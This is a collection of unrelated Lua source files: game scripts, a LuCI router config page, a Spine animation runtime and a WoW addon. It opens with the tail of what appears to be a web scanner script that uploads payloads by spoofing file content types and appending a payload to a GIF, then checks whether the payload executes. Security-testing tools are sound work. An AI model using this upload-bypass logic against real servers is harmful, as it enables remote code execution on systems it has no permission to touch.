filefield["name"], "text/plain", partofrequest, uploadspaths) result = makeAndCheckRequests(uploadspaths) if result then table.insert(returntable, result) break end -- Method (2). buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths) buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths) buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths) result = makeAndCheckRequests(uploadspaths) if result then table.insert(returntable, result) break end -- Method (3). local inp = assert(io.open("nselib/data/pixel.gif", "rb")) local image = inp:read("*all") buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image) result = makeAndCheckRequests(uploadspaths) if result then table.insert(returntable, result) else fail = 1 end end else table.insert(returntable, {"Couldn't find a file-type field."}) end end end if fail == 1 then table.insert(returntable, {"Failed to upload and execute a payload."}) end if (index) then index = index + 1 else index = 1 end end return returntable end
local SubType = { [0] = true, [1] = true, [9] = true, } return function (Data) assert(SubType[Data],"ไบคๆ˜“้™ๅˆถใ€"..Data.."ใ€‘้”™่ฏฏ,ๅฟ…้กปไธบ0๏ผŒ1๏ผŒ9ๅ…ถไธญไน‹ไธ€") return Data end
return { --> identifying information <-- id = 7; --> generic information <-- name = "Oak Club"; rarity = "Common"; image = "rbxassetid://2528902806"; description = "A heavy wooden club"; --> equipment information <-- isEquippable = true; equipmentSlot = 1; equipmentType = "sword"; gripCFrame = CFrame.Angles(math.pi / 2, 0, 0) * CFrame.new(0, -0.2, 2); minLevel = 2; --> stats information <-- baseDamage = 3; attackSpeed = 3; bonusStats = {}; --> shop information <-- buyValue = 200; sellValue = 150; --> handling information <-- canStack = false; canBeBound = false; canAwaken = true; --> sorting information <-- isImportant = false; category = "equipment"; }
local fs_normalise = require "util" .fs_normalise local split_at = require "util" .split_at local PATH_TYPE = "$Path" local function create_path(root_dir, path) local p = {} local mt = {} if path:sub(1, 1) == "/" then path = fs_normalise(path) else path = fs_normalise(root_dir .. "/" .. path) end mt.__path = path ------------------------------------------------------------ -- Path functions function p.create_file(err) local h = io.open(path, "w") if h then h:close() end if not h and err then error("Failed to create file '" .. tostring(p) .. "'", 2) end return h ~= nil end function p.create_directory() if not fs.exists(path) then fs.makeDir(path) elseif not fs.isDir(path) then error("Failed to create directory '" .. tostring(p) .. "'", 2) end end function p.move_to(destination) -- TODO end function p.copy_to(destination) -- TODO: typecheck destination -- TODO: proper copying fs.delete(destination.absolute_path()) fs.copy(path, destination.absolute_path()) end function p.exists() return fs.exists(path) end function p.is_directory() return fs.isDir(path) end function p.is_file() return fs.exists(path) and not fs.isDir(path) end function p.read(err) local h = io.open(path) local content = h and h:read "*a" if h then h:close() end if not content and err then error("Failed to read file '" .. tostring(p) .. "'", 2) end return content or nil end function p.lines(err) local lines = {} for line in p.lines_iterator() do table.insert(lines, line) end return lines end function p.lines_iterator(err) local f = io.lines(path) if not f and err then error("Failed to read file '" .. tostring(p) .. "'", 2) end return f or function() end end function p.list() if fs.isDir(path) then local children = fs.list(path) for i = 1, #children do children[i] = p .. ("/" .. children[i]) end return children else error("'" .. tostring(p) .. "' is not a directory", 2) end end function p.list_iterator(...) return ipairs(p.list(...)) end function p.tree(on_child, ...) local files = {} for path in p.tree_iterator(...) do table.insert(files, path) end return files end function p.tree_iterator(include_directories) local queue = { p } local function next() local path = table.remove(queue, 1) if not path then return nil end if path.is_directory() then local children = path.list() local first_index = include_directories and 1 or 2 for i = first_index, #children do table.insert(queue, i - first_index + 1, children[i]) end return include_directories and path or children[1] or next() elseif path.exists() then return path end end return next end function p.find(...) local files = {} for path in p.find_iterator(...) do table.insert(files, path) end return files end function p.find_iterator(...) if not path:find "%*" then return function() return p.exists() and p or nil end end local parts = split_at(path, "/") local wildcard_idx = 1 while wildcard_idx < #parts and not parts[wildcard_idx]:find "%*" do wildcard_idx = wildcard_idx + 1 end local base_path = table.concat(parts, "/", 1, wildcard_idx - 1) local pattern = table.concat(parts, "/", wildcard_idx) :gsub("[.%+-?$^*()[%]]", "%%%1") :gsub("%%%*%%%*", "++") :gsub("%%%*", "[^/]*") :gsub("%+%+", ".*") pattern = "^" .. pattern .. "$" local tree_iterator = create_path(root_dir, "/" .. base_path) .tree_iterator(...) local function next() local path = tree_iterator() if not path then return nil end if tostring(path):find(pattern) then return path else return next() end end return next end function p.write(content, append) local h = io.open(path, append and "a" or "w") if h then h:write(content) h:close() else error("Failed to write to file '" .. tostring(p) .. "'", 2) end end function p.delete() fs.delete(path) end function p.absolute_path() return "/" .. path end ------------------------------------------------------------ -- Path metamethods function mt:__concat(other) if type(other) == "string" then return create_path(root_dir, "/" .. path .. other) elseif type(other) == "table" then local mt = getmetatable(other) if mt and mt.__type == PATH_TYPE then return create_path(root_dir, "/" .. path .. mt.__path) end end error("Expected a path or string, got " .. tostring(other), 3) end function mt:__div(other) return self .. "/" .. other end function mt:__tostring() if path:sub(1, #root_dir + 1) == root_dir .. "/" or path == root_dir then if #path > #root_dir + 1 then return path:sub(#root_dir + 2) else return "." end else return "/" .. path end end return setmetatable(p, mt) end return function(root_dir) return function(path) -- TODO: accept paths if type(path) ~= "string" then error("Expected a string path", 2) end return create_path(root_dir, path) end end
-- Copyright 2015 -- Matthew -- Licensed to the public under the Apache License 2.0. local state = (luci.sys.call("pidof cifsd > /dev/null") == 0) if state then state_msg = "<b><font color=\"green\">" .. translate("Running") .. "</font></b>" else state_msg = "<b><font color=\"red\">" .. translate("Not running") .. "</font></b>" end m = Map("cifs", translate("Mounting NAT drives") .. state_msg) s = m:section(TypedSection, "cifs", "Cifs Mount") s.anonymous = true s:tab("general", translate("General Settings")) switch = s:taboption("general", Flag, "enabled", translate("Enable")) switch.rmempty = false workgroup = s:taboption("general", Value, "workgroup", translate("Workgroup")) workgroup.default = "WORKGROUP" workgroup.placeholder = "WORKGROUP" mountarea = s:taboption("general", Value, "mountarea", translate("Mount Area"), translate("All the Mounted NAT Drives will be centralized into this folder.")) mountarea.default = "/tmp/mnt" mountarea.placeholder = "/tmp/mnt" mountarea.rmempty = false delay = s:taboption("general", Value, "delay", translate("Delay"), translate("Delay command runing for wait till your drivers online. Only work in start mode(/etc/init.d/cifs start)")) delay:value("0") delay:value("3") delay:value("5") delay:value("7") delay:value("10") delay.default = "5" iocharset = s:taboption("general", Value, "iocharset", translate("Character Encoding")) iocharset:value("utf8") iocharset:value("cp437") iocharset:value("cp936") iocharset:value("cp850") iocharset:value("iso8859-1") iocharset:value("iso8859-15") iocharset.default = "utf8" s = m:section(TypedSection, "natshare", translate("NAT Drivers")) s.anonymous = true s.addremove = true s.template = "cbi/tblsection" server = s:option(Value, "server", translate("Server Name")) server.size = 6 server.rmempty = true name = s:option(Value, "name", translate("Local directory name")) name.size = 6 name.rmempty = false pth = s:option(Value, "natpath", translate("NAT Path")) pth.placeholder = "//192.168.9.1/Data" pth.rmempty = false agm = s:option(Value, "agm", translate("Arguments")) agm:value("ro", translate("Read Only")) agm:value("rw", translate("Read and Write")) agm:value("noperm", translate("Disable permissions check")) agm:value("noacl", translate("Disable POSIX ACL")) agm:value("sfu", translate("Services for Unix")) agm:value("directio", translate("directIO")) agm:value("file_mode=0777,dir_mode=0777", translate("file and folder umask=0777")) agm:value("nounix", translate("Disable Unix Extensions")) agm:value("noserverino", translate("Disable Server inode")) agm.rmempty = true agm.size = 8 vers = s:option(Value, "vers", translate("SMB protocol version")) vers:value("3.1.1", translate("SMB V3")) vers:value("2.1", translate("SMB V2")) vers:value("1.0", translate("SMB V1")) vers.default = "2.1" vers.rmempty = false guest = s:option(Flag, "guest", translate("Guest")) guest.rmempty = false guest.enabled = "1" guest.disabled = "0" users = s:option(Value, "users", translate("Username")) users.size = 3 users.rmempty = true pwd = s:option(Value, "pwd", translate("Password")) pwd.password = true pwd.rmempty = true pwd.size = 3 local apply = luci.http.formvalue("cbi.apply") if apply then luci.util.exec("/etc/init.d/cifs restart >/dev/null 2>&1") end return m
AnimEvent = SimpleClass(SkillEvent) function AnimEvent:initialize() self.animCfg = ConfigHelper:getConfigByKey('AnimConfig',self.cfgId) self.animName = self.animCfg and self.animCfg.animName or nil end --ๅญ็ฑป้‡ๅ†™ function AnimEvent:doEvent() --print("<color=red>AnimEvent: </color>",self.tickFrame,SkillEventTypeLang[self.type]) local role = EntityMgr:getRole(self:getRoleId()) if role then local fadeTime = self.animCfg and self.animCfg.fadeTime or 0 role:transAnim(self.animName,fadeTime) end end
local b = require "bootstrap" --[[]] --require("mobdebug_start") --[[]] --require("test_mongodb") -- ]] local lapis = require("lapis") local lapis_serve = lapis.serve lapis_serve("web.lapis_app") --[[]]
resource_manifest_version '44febabe-d386-4d18-afbe-5e627f4af937' description 'ESX Animations' version '1.0.0' files { 'img/header/animations.jpg' } client_scripts { 'config.lua', 'client/main.lua', '@NativeUI/NativeUI.lua' } exports { 'openAnimations' }
require 'networks.convnet' return function(args) args.n_units = {256, 512, 512, 512} args.filter_size = {8, 4, 3, 3} args.filter_stride = {4, 2, 1, 1} args.padding = {1, 0, 0, 0} args.n_hid = {2048, 1024} args.nl = nn.ReLU return create_network(args) end
------------------------------------------------------------------------------- -- Spine Runtimes Software License v2.5 -- -- Copyright (c) 2013-2016, Esoteric Software -- All rights reserved. -- -- You are granted a perpetual, non-exclusive, non-sublicensable, and -- non-transferable license to use, install, execute, and perform the Spine -- Runtimes software and derivative works solely for personal or internal -- use. Without the written permission of Esoteric Software (see Section 2 of -- the Spine Software License Agreement), you may not (a) modify, translate, -- adapt, or develop new applications using the Spine Runtimes or otherwise -- create derivative works or improvements of the Spine Runtimes or (b) remove, -- delete, alter, or obscure any trademarks or any copyright, trademark, patent, -- or other intellectual property or proprietary rights notices on or in the -- Software, including any copy thereof. Redistributions in binary or source -- form must include this license and terms. -- -- THIS SOFTWARE IS PROVIDED BY ESOTERIC SOFTWARE "AS IS" AND ANY EXPRESS OR -- IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -- MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -- EVENT SHALL ESOTERIC SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, -- PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, BUSINESS INTERRUPTION, OR LOSS OF -- USE, DATA, OR PROFITS) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER -- IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------- local setmetatable = setmetatable local math_pi = math.pi local math_atan2 = math.atan2 local math_sqrt = math.sqrt local math_acos = math.acos local math_sin = math.sin local math_cos = math.cos local table_insert = table.insert local math_deg = math.deg local math_rad = math.rad local math_abs = math.abs local IkConstraint = {} IkConstraint.__index = IkConstraint function IkConstraint.new (data, skeleton) if not data then error("data cannot be nil", 2) end if not skeleton then error("skeleton cannot be nil", 2) end local self = { data = data, bones = {}, target = nil, mix = data.mix, compress = data.compress, stretch = data.stretch, bendDirection = data.bendDirection, } setmetatable(self, IkConstraint) local self_bones = self.bones for _,boneData in ipairs(data.bones) do table_insert(self_bones, skeleton:findBone(boneData.name)) end self.target = skeleton:findBone(data.target.name) return self end function IkConstraint:apply () self:update() end function IkConstraint:update () local target = self.target local bones = self.bones local boneCount = #bones if boneCount == 1 then self:apply1(bones[1], target.worldX, target.worldY, self.compress, self.stretch, self.data.uniform, self.mix) elseif boneCount == 2 then self:apply2(bones[1], bones[2], target.worldX, target.worldY, self.bendDirection, self.stretch, self.mix) end end function IkConstraint:apply1 (bone, targetX, targetY, compress, stretch, uniform, alpha) if not bone.appliedValid then bone:updateAppliedTransform() end local p = bone.parent local id = 1 / (p.a * p.d - p.b * p.c) local x = targetX - p.worldX local y = targetY - p.worldY local tx = (x * p.d - y * p.b) * id - bone.ax local ty = (y * p.a - x * p.c) * id - bone.ay local rotationIK = math_deg(math_atan2(ty, tx)) - bone.ashearX - bone.arotation if bone.ascaleX < 0 then rotationIK = rotationIK + 180 end if rotationIK > 180 then rotationIK = rotationIK - 360 elseif (rotationIK < -180) then rotationIK = rotationIK + 360 end local sx = bone.ascaleX local sy = bone.ascaleY if compress or stretch then local b = bone.data.length * sx local dd = math_sqrt(tx * tx + ty * ty) if (compress and dd < b) or (stretch and dd > b) and b > 0.0001 then local s = (dd / b - 1) * alpha + 1 sx = sx * s if uniform then sy = sy * s end end end bone:updateWorldTransformWith(bone.ax, bone.ay, bone.arotation + rotationIK * alpha, sx, sy, bone.ashearX, bone.ashearY) end function IkConstraint:apply2 (parent, child, targetX, targetY, bendDir, stretch, alpha) if alpha == 0 then child:updateWorldTransform() return end if not parent.appliedValid then parent:updateAppliedTransform() end if not child.appliedValid then child:updateAppliedTransform() end local px = parent.ax local py = parent.ay local psx = parent.ascaleX local sx = psx local psy = parent.ascaleY local csx = child.ascaleX local os1 = 0 local os2 = 0 local s2 = 0 if psx < 0 then psx = -psx os1 = 180 s2 = -1 else os1 = 0 s2 = 1 end if psy < 0 then psy = -psy s2 = -s2 end if csx < 0 then csx = -csx os2 = 180 else os2 = 0 end local cx = child.ax local cy = 0 local cwx = 0 local cwy = 0 local a = parent.a local b = parent.b local c = parent.c local d = parent.d local u = math_abs(psx - psy) <= 0.0001 if not u then cy = 0 cwx = a * cx + parent.worldX cwy = c * cx + parent.worldY else cy = child.ay cwx = a * cx + b * cy + parent.worldX cwy = c * cx + d * cy + parent.worldY end local pp = parent.parent a = pp.a b = pp.b c = pp.c d = pp.d local id = 1 / (a * d - b * c) local x = targetX - pp.worldX local y = targetY - pp.worldY local tx = (x * d - y * b) * id - px local ty = (y * a - x * c) * id - py local dd = tx * tx + ty * ty x = cwx - pp.worldX y = cwy - pp.worldY local dx = (x * d - y * b) * id - px local dy = (y * a - x * c) * id - py local l1 = math_sqrt(dx * dx + dy * dy) local l2 = child.data.length * csx local a1 = 0 local a2 = 0 if u then l2 = l2 * psx local cos = (dd - l1 * l1 - l2 * l2) / (2 * l1 * l2) if cos < -1 then cos = -1 elseif cos > 1 then cos = 1 if stretch then sx = sx * ((math_sqrt(dd) / (l1 + l2) - 1) * alpha + 1) end end a2 = math_acos(cos) * bendDir a = l1 + l2 * cos b = l2 * math_sin(a2) a1 = math_atan2(ty * a - tx * b, tx * a + ty * b) else local skip = false a = psx * l2 b = psy * l2 local aa = a * a local bb = b * b local ta = math_atan2(ty, tx); c = bb * l1 * l1 + aa * dd - aa * bb local c1 = -2 * bb * l1 local c2 = bb - aa d = c1 * c1 - 4 * c2 * c if d >= 0 then local q = math_sqrt(d); if (c1 < 0) then q = -q end q = -(c1 + q) / 2 local r0 = q / c2 local r1 = c / q local r = r1 if math_abs(r0) < math_abs(r1) then r = r0 end if r * r <= dd then y = math_sqrt(dd - r * r) * bendDir a1 = ta - math_atan2(y, r) a2 = math_atan2(y / psy, (r - l1) / psx) skip = true end end if not skip then local minAngle = math_pi local minX = l1 - a local minDist = minX * minX local minY = 0; local maxAngle = 0 local maxX = l1 + a local maxDist = maxX * maxX local maxY = 0 c = -a * l1 / (aa - bb) if (c >= -1 and c <= 1) then c = math_acos(c) x = a * math_cos(c) + l1 y = b * math_sin(c) d = x * x + y * y if d < minDist then minAngle = c minDist = d minX = x minY = y end if d > maxDist then maxAngle = c maxDist = d maxX = x maxY = y end end if dd <= (minDist + maxDist) / 2 then a1 = ta - math_atan2(minY * bendDir, minX) a2 = minAngle * bendDir else a1 = ta - math_atan2(maxY * bendDir, maxX) a2 = maxAngle * bendDir end end end local os = math_atan2(cy, cx) * s2 local rotation = parent.arotation a1 = math_deg(a1 - os) + os1 - rotation if a1 > 180 then a1 = a1 - 360 elseif a1 < -180 then a1 = a1 + 360 end parent:updateWorldTransformWith(px, py, rotation + a1 * alpha, sx, parent.ascaleY, 0, 0) rotation = child.rotation a2 = (math_deg(a2 + os) - child.ashearX) * s2 + os2 - rotation if a2 > 180 then a2 = a2 - 360 elseif a2 < -180 then a2 = a2 + 360 end child:updateWorldTransformWith(cx, cy, rotation + a2 * alpha, child.ascaleX, child.ascaleY, child.ashearX, child.ashearY); end return IkConstraint
--[[ Copyright (c) 2019 robot256 (MIT License) * Project: Multiple Unit Train Control * File: data.lua * Description: Add the MU locomotives and technology --]] require ("util.copyPrototype") require ("util.createMuLocoEntityPrototype") require ("util.createMuLocoItemPrototype") require ("util.createMuLocoRecipePrototype") require ("prototypes.entity") require ("prototypes.to_add_mu") --require ("prototypes.ret_add_mu") -- Requires collaboration with RET author to make it work require ("prototypes.technology")
meas = "cm" temp = 5 + math.random(17) edge_b = temp edge_c = temp factor = lib.math.round_dec(1 + 0.1 * (3 + math.random(10)),1) edge_a = lib.math.round_dec(factor * temp, 1) circ = lib.math.round_dec((3 + factor) * temp, 1)
ESX = nil local ItemsLabels = {} local GunShopPrice = Config.EnableClip.GunShop.Price local GunShopLabel = Config.EnableClip.GunShop.Label local BlackWeashopPrice = Config.EnableClip.BlackWeashop.Price local BlackWeashopLabel = Config.EnableClip.BlackWeashop.Label TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) function LoadLicenses (source) TriggerEvent('esx_license:getLicenses', source, function (licenses) TriggerClientEvent('esx_weashop:loadLicenses', source, licenses) end) end if Config.EnableLicense == true then AddEventHandler('esx:playerLoaded', function (source) LoadLicenses(source) end) end RegisterServerEvent('esx_weashop:buyLicense') AddEventHandler('esx_weashop:buyLicense', function () local _source = source local xPlayer = ESX.GetPlayerFromId(source) if xPlayer.get('money') >= Config.LicensePrice then xPlayer.removeMoney(Config.LicensePrice) TriggerEvent('esx_license:addLicense', _source, 'weapon', function () LoadLicenses(_source) end) else TriggerClientEvent('esx:showNotification', _source, _U('not_enough')) end end) ESX.RegisterServerCallback('esx_weashop:requestDBItems', function(source, cb) MySQL.Async.fetchAll( 'SELECT * FROM weashops', {}, function(result) local shopItems = {} for i=1, #result, 1 do if shopItems[result[i].name] == nil then shopItems[result[i].name] = {} end table.insert(shopItems[result[i].name], { name = result[i].item, price = result[i].price, label = ESX.GetWeaponLabel(result[i].item) }) end if Config.EnableClipGunShop == true then table.insert(shopItems["GunShop"], { name = "clip", price = GunShopPrice,--Config.EnableClip.GunShop.Price, label = GunShopLabel--Config.EnableClip.GunShop.label }) end if Config.EnableClipGunShop == true then table.insert(shopItems["BlackWeashop"], { name = "clip", price = BlackWeashopPrice,--Config.EnableClip.BlackWeashop.Price, label = BlackWeashopLabel--Config.EnableClip.BlackWeashop.label }) end cb(shopItems) end ) end) RegisterServerEvent('esx_weashop:buyItem') AddEventHandler('esx_weashop:buyItem', function(itemName, price, zone) local _source = source local xPlayer = ESX.GetPlayerFromId(source) local account = xPlayer.getAccount('black_money') if zone=="BlackWeashop" then if account.money >= price then if itemName == "clip" then xPlayer.addInventoryItem(itemName, 1) TriggerClientEvent('esx:showNotification', _source, _U('buy') .. "chargeur") else xPlayer.addWeapon(itemName, 42) TriggerClientEvent('esx:showNotification', _source, _U('buy') .. ESX.GetWeaponLabel(itemName)) end xPlayer.removeAccountMoney('black_money', price) else TriggerClientEvent('esx:showNotification', _source, _U('not_enough_black')) end else if xPlayer.get('money') >= price then if itemName == "clip" then xPlayer.addInventoryItem(itemName, 1) TriggerClientEvent('esx:showNotification', _source, _U('buy') .. "chargeur") else xPlayer.addWeapon(itemName, 42) TriggerClientEvent('esx:showNotification', _source, _U('buy') .. ESX.GetWeaponLabel(itemName)) end xPlayer.removeMoney(price) else TriggerClientEvent('esx:showNotification', _source, _U('not_enough')) end end end) -- thx to Pandorina for script RegisterServerEvent('esx_weashop:remove') AddEventHandler('esx_weashop:remove', function() local xPlayer = ESX.GetPlayerFromId(source) xPlayer.removeInventoryItem('clip', 1) end) ESX.RegisterUsableItem('clip', function(source) TriggerClientEvent('esx_weashop:clipcli', source) end)
๏ปฟ -- declare colour codes for console messages local RED = "|cffff0000" local GREEN = "|cff00ff00" local YELLOW = "|cffffff00" local WHITE = "|cffffffff" local GREY = "|cffbababa" local DATA_VERSION = 4 -- route calibration versioning local CMD_VERSION = "VER" local CMD_KNOWN = "KWN4" local NauticusClassic = NauticusClassic local L = LibStub("AceLocale-3.0"):GetLocale("NauticusClassic") local requests = { ["ALL"] = nil, ["RAID"] = nil, ["GUILD"] = nil, ["YELL"] = nil } local requestLists = { ["ALL"] = {}, ["RAID"] = {}, ["GUILD"] = {}, ["YELL"] = {} } local requestVersions = { ["ALL"] = false, ["RAID"] = false, ["GUILD"] = false, ["YELL"] = false } function NauticusClassic:CancelRequest(distribution) if requests[distribution] then self:CancelTimer(requests[distribution], true) requests[distribution] = nil end end function NauticusClassic:DoRequest(wait, distribution) self:CancelRequest(distribution) if wait and wait > 0 then requests[distribution] = self:ScheduleTimer("DoRequest", wait, 0, distribution) return end if next(requestLists[distribution]) then self:BroadcastTransportData(distribution) if requestVersions[distribution] or next(requestLists[distribution]) then self:DoRequest(2.5, distribution) return end end if requestVersions[distribution] then requestVersions[distribution] = false local version = self.versionNum if self.version then version = version.." "..self.version; end self:SendMessage(CMD_VERSION.." "..version, distribution) end end local function GetLag() local _,_,lag = GetNetStats() return lag / 1000.0 end local crunch, uncrunch do local map = -- excludes: space, comma, colon, s, S, %, tab (\009) ; invalid: nul (\000), line feed (\010), bar (\124), >\127 "0123456789ABCDEFGHIJKLMNOPQRTUVWXYZabcdefghijklmnopqrtuvwxyz!\"#$&'()*+-./;<=>?@[\\]^_`{}~".. "\001\002\003\004\005\006\007\008\011\012".. "\014\015\016\017\018\019\020\021\022\023\024\025\026\027\028\029\030\031\127" local _base = strlen(map) local digits = {} function crunch(num) --if true then return num; end if 0 > num then error("negative number"); end -- shouldn't happen, but just in case local s = "" local remain repeat remain = num % _base -- faster than fmod s = s..digits[remain] num = (num-remain) / _base -- faster than floor until 0 == num return s end local chrmap = {} function uncrunch(s) --if true then return tonumber(s); end local num = 0 local base = 1 local c for i = 1, strlen(s) do c = chrmap[strbyte(s, i)] if not c then NauticusClassic:DebugMessage("FECK: "..s.." ; i: "..i.." ; strbyte: "..strbyte(s, i)) return end num = num + c * base base = base * _base -- faster than power (^) end return num end local c for i = 1, _base do c = strbyte(map, i) chrmap[c] = i-1 digits[i-1] = strchar(c) end end -- by Mikk; from http://www.wowwiki.com/StringHash local function StringHash(text) local counter = 1 local len = strlen(text) for i = 1, len, 3 do counter = (counter * 8161) % 4294967279 + (strbyte(text, i) * 16776193) + ((strbyte(text, i+1) or (len-i+256)) * 8372226) + ((strbyte(text, i+2) or (len-i+256)) * 3932164) end return counter % 4294967291 end function NauticusClassic:BroadcastTransportData(distribution) local since, boots, swaps local lag = GetLag() local trans_str = "" for transit in pairs(requestLists[distribution]) do since, boots, swaps = self:GetKnownCycle(transit) trans_str = trans_str..crunch(transit) if since ~= nil then trans_str = trans_str..":"..crunch(math.floor((since+lag)*1000.0+.5)) if swaps ~= 1 then trans_str = trans_str..":"..crunch(swaps) end if boots ~= 0 then if swaps == 1 then trans_str = trans_str..":" end trans_str = trans_str..":"..crunch(boots) end end trans_str = trans_str.."," requestLists[distribution][transit] = nil if 229 < strlen(trans_str) then break; end end if trans_str ~= "" then trans_str = strsub(trans_str, 1, -2) -- remove the last comma self:SendMessage(CMD_KNOWN.." "..DATA_VERSION.." "..trans_str.." "..crunch(StringHash(trans_str)), distribution) self:DebugMessage("tell our transports ; length: "..strlen(trans_str)) else self:DebugMessage("nothing to tell") end end --[===[@debug@ function NauticusClassic:RequestAllTransports() local trans_str = "" for transit in ipairs(self.transports) do trans_str = trans_str..crunch(transit).."," requestList[transit] = nil end trans_str = strsub(trans_str, 1, -2) -- remove the last comma self:SendMessage(CMD_KNOWN.." "..crunch(DATA_VERSION).." "..trans_str.." "..crunch(StringHash(trans_str))) end --@end-debug@]===] function NauticusClassic:RequestTransport(t, distribution) requestLists[distribution][t] = true end function NauticusClassic:SendMessage(msg, distribution) if not self.comm_disable then self:DebugMessage("sending msg dist: "..distribution.." ; length: "..strlen(msg)) if distribution == "ALL" then if IsInGroup() then self:SendCommMessage(self.DEFAULT_PREFIX, msg, "RAID") end if IsInGuild() then self:SendCommMessage(self.DEFAULT_PREFIX, msg, "GUILD") end self:SendCommMessage(self.DEFAULT_PREFIX, msg, "YELL") else self:SendCommMessage(self.DEFAULT_PREFIX, msg, distribution) end end end -- extract key/value from message local function GetArgs(message, separator) local args = { strsplit(separator, message) } for t = 1, #(args), 1 do if args[t] == "" then args[t] = nil end end return args end function NauticusClassic:OnCommReceived(prefix, msg, distribution, sender) if sender ~= UnitName("player") and strlower(prefix) == strlower(self.DEFAULT_PREFIX) and (distribution == "PARTY" or distribution == "RAID" or distribution == "GUILD" or distribution == "YELL") then if distribution == "PARTY" then distribution = "RAID" end self:DebugMessage("received sender: "..sender.." ; dist: "..distribution.." ; length: "..strlen(msg)) if 254 <= strlen(msg) then return; end -- message too big, probably corrupted local args = GetArgs(msg, " ") if args[1] == CMD_VERSION then -- version, num self:ReceiveMessage_version(tonumber(args[2]), distribution, sender) elseif args[1] == CMD_KNOWN then -- known, { transports } self:ReceiveMessage_known(tonumber(args[2]), args[3], args[4], distribution, sender) end end end function NauticusClassic:ReceiveMessage_version(clientversion, distribution, sender) self:DebugMessage(sender.." says: version "..clientversion) if clientversion > self.versionNum then if not self.db.global.newerVersion then self.db.global.newerVersion = clientversion self.db.global.newerVerAge = time() elseif clientversion > self.db.global.newerVersion then self.db.global.newerVersion = clientversion end elseif clientversion < self.versionNum then requestVersions[distribution] = true self:DoRequest(5 + math.random() * 15, distribution) return end requestVersions[distribution] = false -- if we don't need to send back any data, cancel our scheduler immediately if not next(requestLists[distribution]) then self:DebugMessage("received: version; no more to send") self:CancelRequest(distribution) end end function NauticusClassic:ReceiveMessage_known(version, transports, hash, distribution, sender) if version ~= DATA_VERSION then return; end local lag = GetLag() local set, respond, since, boots, swaps --[===[@debug@ if hash and self.debug then local rehash = StringHash(transports) hash = uncrunch(hash) if hash ~= rehash then self:DebugMessage("wrong hash: "..hash.." (supplied) vs "..rehash.." (computed)") end end --@end-debug@]===] for transit, values in pairs(self:StringToKnown(transports)) do since, boots, swaps = values.since, values.boots, values.swaps if since ~= nil then since = since/1000.0 + lag boots = tonumber(boots) swaps = swaps + 1 --imagine data is being transmitted (+1) end set, respond = self:IsBetter(transit, since, boots, swaps) --[===[@debug@ if self.debug then local ourSince, ourBoots, ourSwaps = self:GetKnownCycle(transit) local debugColour if set == nil then debugColour = RED elseif set then debugColour = GREEN elseif respond then debugColour = YELLOW else debugColour = GREY end local output = sender.." knows "..transit.." "..debugColour.. (since and since.."|r (b:"..boots..",s:"..swaps..")" or "nil|r").." vs our ".. (ourSince and format("%0.3f", ourSince).." (b:"..ourBoots..",s:"..ourSwaps..")" or "nil") if ourSince and since then output = output.." ; diff: "..format("%0.3f", ourSince-since).. " ; cycles: "..format("%0.6f", (ourSince-since) / self.rtts[transit]) end self:DebugMessage(output) end --@end-debug@]===] if set ~= nil then -- true or false... if set then self:SetKnownCycle(transit, since, boots, swaps) end requestLists[distribution][transit] = respond end end -- if we don't need to send back any data, cancel our scheduler immediately if next(requestLists[distribution]) then self:DoRequest(5 + math.random() * 15, distribution) elseif not requestVersions[distribution] then self:DebugMessage("received: known; no more to send") self:CancelRequest(distribution) end end -- returns a, b -- where a is if we should set our data to theirs (true or false) and b is how we should respond with ours (true or nil) function NauticusClassic:IsBetter(transit, since, boots, swaps) local ourSince, ourBoots, ourSwaps = self:GetKnownCycle(transit) if since == nil then if ourSince == nil then return false -- no set, no response else return false, true -- no set, respond end else if ourSince == nil then return true -- set, no response elseif 0 <= since then if boots < ourBoots then return true -- set, no response elseif boots > ourBoots then return false, true -- no set, respond else -- swap difference; positive = better, less than -2 = worse, 0, -1, -2 = depends! local swapDiff = ourSwaps - swaps if 0 < swapDiff then -- (swaps < ourSwaps) return true -- set, no response elseif -2 > swapDiff then -- (swaps > ourSwaps+2); imagine data is being transmitted return false, true -- no set, respond else -- age difference; positive = better, negative = worse local ageDiff = math.floor((ourSince - since) / self.rtts[transit] + .5) local SET, RESPOND = true, true -- 0 = maybe better for us but response pointless -- -1 = ignore/pointless -- -2 = worse for us but respond if better time if 0 ~= swapDiff then SET = false; end if -2 ~= swapDiff then RESPOND = nil; end if 0 < ageDiff then -- (age < ourAge) return SET -- set, no response elseif 0 > ageDiff then -- (age > ourAge) return false, RESPOND -- no set, respond else return false -- no set, no response end end end end end end function NauticusClassic:StringToKnown(transports) local args_tmp, transit, since, swaps, boots local args = GetArgs(transports, ",") local trans_tab = {} for t = 1, #(args), 1 do args_tmp = GetArgs(args[t], ":") transit = uncrunch(args_tmp[1]) if transit and self.transports[transit] then since = args_tmp[2] if since then since, swaps, boots = uncrunch(since), args_tmp[3], args_tmp[4] if since then trans_tab[transit] = { ['since'] = since, ['boots'] = boots and uncrunch(boots) or 0, ['swaps'] = swaps and uncrunch(swaps) or 1, } end else trans_tab[transit] = {} end elseif transit then self:DebugMessage("unknown transit: "..transit) end end return trans_tab end local updateChannel function NauticusClassic:UpdateChannel(wait) if updateChannel then self:CancelTimer(updateChannel, true); updateChannel = nil; end if wait then updateChannel = self:ScheduleTimer("UpdateChannel", wait) return end --[===[@debug@ if self.debug then self:ScheduleTimer("RequestAllTransports", 5) return end --@end-debug@]===] for id in pairs(self.transports) do requestLists["ALL"][id] = true end requestVersions["ALL"] = true self:DoRequest(5 + math.random() * 15, "ALL") end
